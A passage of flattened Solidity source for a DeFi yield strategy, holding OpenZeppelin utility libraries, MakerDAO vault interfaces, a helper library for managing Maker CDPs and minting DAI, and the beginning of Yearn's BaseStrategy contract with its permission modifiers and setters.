sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: SpotLike interface SpotLike { function live() external view returns (uint256); function par() external view returns (uint256); function vat() external view returns (address); function ilks(bytes32) external view returns (address, uint256); } // Part: VatLike interface VatLike { function can(address, address) external view returns (uint256); function ilks(bytes32) external view returns ( uint256, uint256, uint256, uint256, uint256 ); function dai(address) external view returns (uint256); function urns(bytes32, address) external view returns (uint256, uint256); function frob( bytes32, address, address, address, int256, int256 ) external; function hope(address) external; function move( address, address, uint256 ) external; } // Part: yearn/[email protected]/HealthCheck interface HealthCheck { function check( uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding, uint256 totalDebt ) external view returns (bool); } // Part: DaiJoinLike interface DaiJoinLike { function vat() external returns (VatLike); function dai() external returns (GemLike); function join(address, uint256) external payable; function exit(address, uint256) external; } // Part: GemJoinLike interface GemJoinLike { function dec() external returns (uint256); function gem() external returns (GemLike); function join(address, uint256) external payable; function exit(address, uint256) external; } // Part: IVault interface IVault is IERC20 { function token() external view returns (address); function decimals() external view returns (uint256); function deposit() external; function pricePerShare() external view returns (uint256); function withdraw() external returns (uint256); function withdraw(uint256 amount) external returns (uint256); function withdraw( uint256 amount, address account, uint256 maxLoss ) external returns (uint256); function availableDepositLimit() external view returns (uint256); } // Part: OpenZeppelin/[email protected]/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: yearn/[email protected]/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: MakerDaiDelegateLib library MakerDaiDelegateLib { using SafeMath for uint256; // Units used in Maker contracts uint256 internal constant WAD = 10**18; uint256 internal constant RAY = 10**27; // Do not attempt to mint DAI if there are less than MIN_MINTABLE available uint256 internal constant MIN_MINTABLE = 500000 * WAD; // Maker vaults manager ManagerLike internal constant manager = ManagerLike(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); // Token Adapter Module for collateral DaiJoinLike internal constant daiJoin = DaiJoinLike(0x9759A6Ac90977b93B58547b4A71c78317f391A28); // Liaison between oracles and core Maker contracts SpotLike internal constant spotter = SpotLike(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); // Part of the Maker Rates Module in charge of accumulating stability fees JugLike internal constant jug = JugLike(0x19c0976f590D67707E62397C87829d896Dc0f1F1); // Debt Ceiling Instant Access Module DssAutoLine internal constant autoLine = DssAutoLine(0xC7Bdd1F2B16447dcf3dE045C4a039A60EC2f0ba3); // ----------------- PUBLIC FUNCTIONS ----------------- // Creates an UrnHandler (cdp) for a specific ilk and allows to manage it via the internal // registry of the manager. function openCdp(bytes32 ilk) public returns (uint256) { return manager.open(ilk, address(this)); } // Moves cdpId collateral balance and debt to newCdpId. function shiftCdp(uint256 cdpId, uint256 newCdpId) public { manager.shift(cdpId, newCdpId); } // Transfers the ownership of cdp to recipient address in the manager registry. function transferCdp(uint256 cdpId, address recipient) public { manager.give(cdpId, recipient); } // Allow/revoke manager access to a cdp function allowManagingCdp( uint256 cdpId, address user, bool isAccessGranted ) public { manager.cdpAllow(cdpId, user, isAccessGranted ? 1 : 0); } // Deposits collateral (gem) and mints DAI // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L639 function lockGemAndDraw( address gemJoin, uint256 cdpId, uint256 collateralAmount, uint256 daiToMint, uint256 totalDebt ) public { address urn = manager.urns(cdpId); VatLike vat = VatLike(manager.vat()); bytes32 ilk = manager.ilks(cdpId); if (daiToMint > 0) { daiToMint = _forceMintWithinLimits(vat, ilk, daiToMint, totalDebt); } // Takes token amount from the strategy and joins into the vat if (collateralAmount > 0) { GemJoinLike(gemJoin).join(urn, collateralAmount); } // Locks token amount into the CDP and generates debt manager.frob( cdpId, int256(convertTo18(gemJoin, collateralAmount)), _getDrawDart(vat, urn, ilk, daiToMint) ); // Moves the DAI amount to the strategy. Need to convert dai from [wad] to [rad] manager.move(cdpId, address(this), daiToMint.mul(1e27)); // Allow access to DAI balance in the vat vat.hope(address(daiJoin)); // Exits DAI to the user's wallet as a token daiJoin.exit(address(this), daiToMint); } // Returns DAI to decrease debt and attempts to unlock any amount of collateral // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L758 function wipeAndFreeGem( address gemJoin, uint256 cdpId, uint256 collateralAmount, uint256 daiToRepay ) public { address urn = manager.urns(cdpId); // Joins DAI amount into the vat if (daiToRepay > 0) { daiJoin.join(urn, daiToRepay); } uint256 wadC = convertTo18(gemJoin, collateralAmount); // Paybacks debt to the CDP and unlocks token amount from it manager.frob( cdpId, -int256(wadC), _getWipeDart( VatLike(manager.vat()), VatLike(manager.vat()).dai(urn), urn, manager.ilks(cdpId) ) ); // Moves the amount from the CDP urn to proxy's address manager.flux(cdpId, address(this), collateralAmount); // Exits token amount to the strategy as a token GemJoinLike(gemJoin).exit(address(this), collateralAmount); } function debtFloor(bytes32 ilk) public view returns (uint256) { // uint256 Art; // Total Normalised Debt [wad] // uint256 rate; // Accumulated Rates [ray] // uint256 spot; // Price with Safety Margin [ray] // uint256 line; // Debt Ceiling [rad] // uint256 dust; // Urn Debt Floor [rad] (, , , , uint256 dust) = VatLike(manager.vat()).ilks(ilk); return dust.div(RAY); } function debtForCdp(uint256 cdpId, bytes32 ilk) public view returns (uint256) { address urn = manager.urns(cdpId); VatLike vat = VatLike(manager.vat()); // Normalized outstanding stablecoin debt [wad] (, uint256 art) = vat.urns(ilk, urn); // Gets actual rate from the vat [ray] (, uint256 rate, , , ) = vat.ilks(ilk); // Return the present value of the debt with accrued fees return art.mul(rate).div(RAY); } function balanceOfCdp(uint256 cdpId, bytes32 ilk) public view returns (uint256) { address urn = manager.urns(cdpId); VatLike vat = VatLike(manager.vat()); (uint256 ink, ) = vat.urns(ilk, urn); return ink; } // Returns value of DAI in the reference asset (e.g. $1 per DAI) function getDaiPar() public view returns (uint256) { // Value is returned in ray (10**27) return spotter.par(); } // Liquidation ratio for the given ilk returned in [ray] // https://github.com/makerdao/dss/blob/master/src/spot.sol#L45 function getLiquidationRatio(bytes32 ilk) public view returns (uint256) { (, uint256 liquidationRatio) = spotter.ilks(ilk); return liquidationRatio; } function getSpotPrice(bytes32 ilk) public view returns (uint256) { VatLike vat = VatLike(manager.vat()); // spot: collateral price with safety margin returned in [ray] (, , uint256 spot, , ) = vat.ilks(ilk); uint256 liquidationRatio = getLiquidationRatio(ilk); // convert ray*ray to wad return spot.mul(liquidationRatio).div(RAY * 1e9); } function getPessimisticRatioOfCdpWithExternalPrice( uint256 cdpId, bytes32 ilk, uint256 externalPrice, uint256 collateralizationRatioPrecision ) public view returns (uint256) { // Use pessimistic price to determine the worst ratio possible uint256 price = Math.min(getSpotPrice(ilk), externalPrice); require(price > 0); // dev: invalid price uint256 totalCollateralValue = balanceOfCdp(cdpId, ilk).mul(price).div(WAD); uint256 totalDebt = debtForCdp(cdpId, ilk); // If for some reason we do not have debt (e.g: deposits under dust) // make sure the operation does not revert if (totalDebt == 0) { totalDebt = 1; } return totalCollateralValue.mul(collateralizationRatioPrecision).div( totalDebt ); } // Make sure we update some key content in Maker contracts // These can be updated by anyone without authenticating function keepBasicMakerHygiene(bytes32 ilk) public { // Update accumulated stability fees jug.drip(ilk); // Update the debt ceiling using DSS Auto Line autoLine.exec(ilk); } function daiJoinAddress() public view returns (address) { return address(daiJoin); } // Checks if there is at least MIN_MINTABLE dai available to be minted function isDaiAvailableToMint(bytes32 ilk) public view returns (bool) { VatLike vat = VatLike(manager.vat()); (uint256 Art, uint256 rate, , uint256 line, ) = vat.ilks(ilk); // Total debt in [rad] (wad * ray) uint256 vatDebt = Art.mul(rate); if (vatDebt >= line || line.sub(vatDebt).div(RAY) < MIN_MINTABLE) { return false; } return true; } // ----------------- INTERNAL FUNCTIONS ----------------- // This function repeats some code from daiAvailableToMint because it needs // to handle special cases such as not leaving debt under dust function _forceMintWithinLimits( VatLike vat, bytes32 ilk, uint256 desiredAmount, uint256 debtBalance ) internal view returns (uint256) { // uint256 Art; // Total Normalised Debt [wad] // uint256 rate; // Accumulated Rates [ray] // uint256 spot; // Price with Safety Margin [ray] // uint256 line; // Debt Ceiling [rad] // uint256 dust; // Urn Debt Floor [rad] (uint256 Art, uint256 rate, , uint256 line, uint256 dust) = vat.ilks(ilk); // Total debt in [rad] (wad * ray) uint256 vatDebt = Art.mul(rate); // Make sure we are not over debt ceiling (line) or under debt floor (dust) if ( vatDebt >= line || (desiredAmount.add(debtBalance) <= dust.div(RAY)) ) { return 0; } uint256 maxMintableDAI = line.sub(vatDebt).div(RAY); // Avoid edge cases with low amounts of available debt if (maxMintableDAI < MIN_MINTABLE) { return 0; } // Prevent rounding errors if (maxMintableDAI > WAD) { maxMintableDAI = maxMintableDAI - WAD; } return Math.min(maxMintableDAI, desiredAmount); } // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L161 function _getDrawDart( VatLike vat, address urn, bytes32 ilk, uint256 wad ) internal returns (int256 dart) { // Updates stability fee rate uint256 rate = jug.drip(ilk); // Gets DAI balance of the urn in the vat uint256 dai = vat.dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < wad.mul(RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = int256(wad.mul(RAY).sub(dai).div(rate)); // This is neeeded due to lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = uint256(dart).mul(rate) < wad.mul(RAY) ? dart + 1 : dart; } } // Adapted from https://github.com/makerdao/dss-proxy-actions/blob/master/src/DssProxyActions.sol#L183 function _getWipeDart( VatLike vat, uint256 dai, address urn, bytes32 ilk ) internal view returns (int256 dart) { // Gets actual rate from the vat (, uint256 rate, , , ) = vat.ilks(ilk); // Gets actual art value of the urn (, uint256 art) = vat.urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = int256(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint256(dart) <= art ? -dart : -int256(art); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before // passing to frob function // Adapters will automatically handle the difference of precision wad = amt.mul(10**(18 - GemJoinLike(gemJoin).dec())); } } // Part: yearn/[email protected]/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; // health checks bool public doHealthCheck; address public healthCheck; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.4.3"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyVaultManagers() { require(msg.sender == vault.management() || msg.sender == governance(), "!authorized"); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } function setHealthCheck(address _healthCheck) external onlyVaultManagers { healthCheck = _healthCheck; } function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers { doHealthCheck = _doHealthCheck; } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata 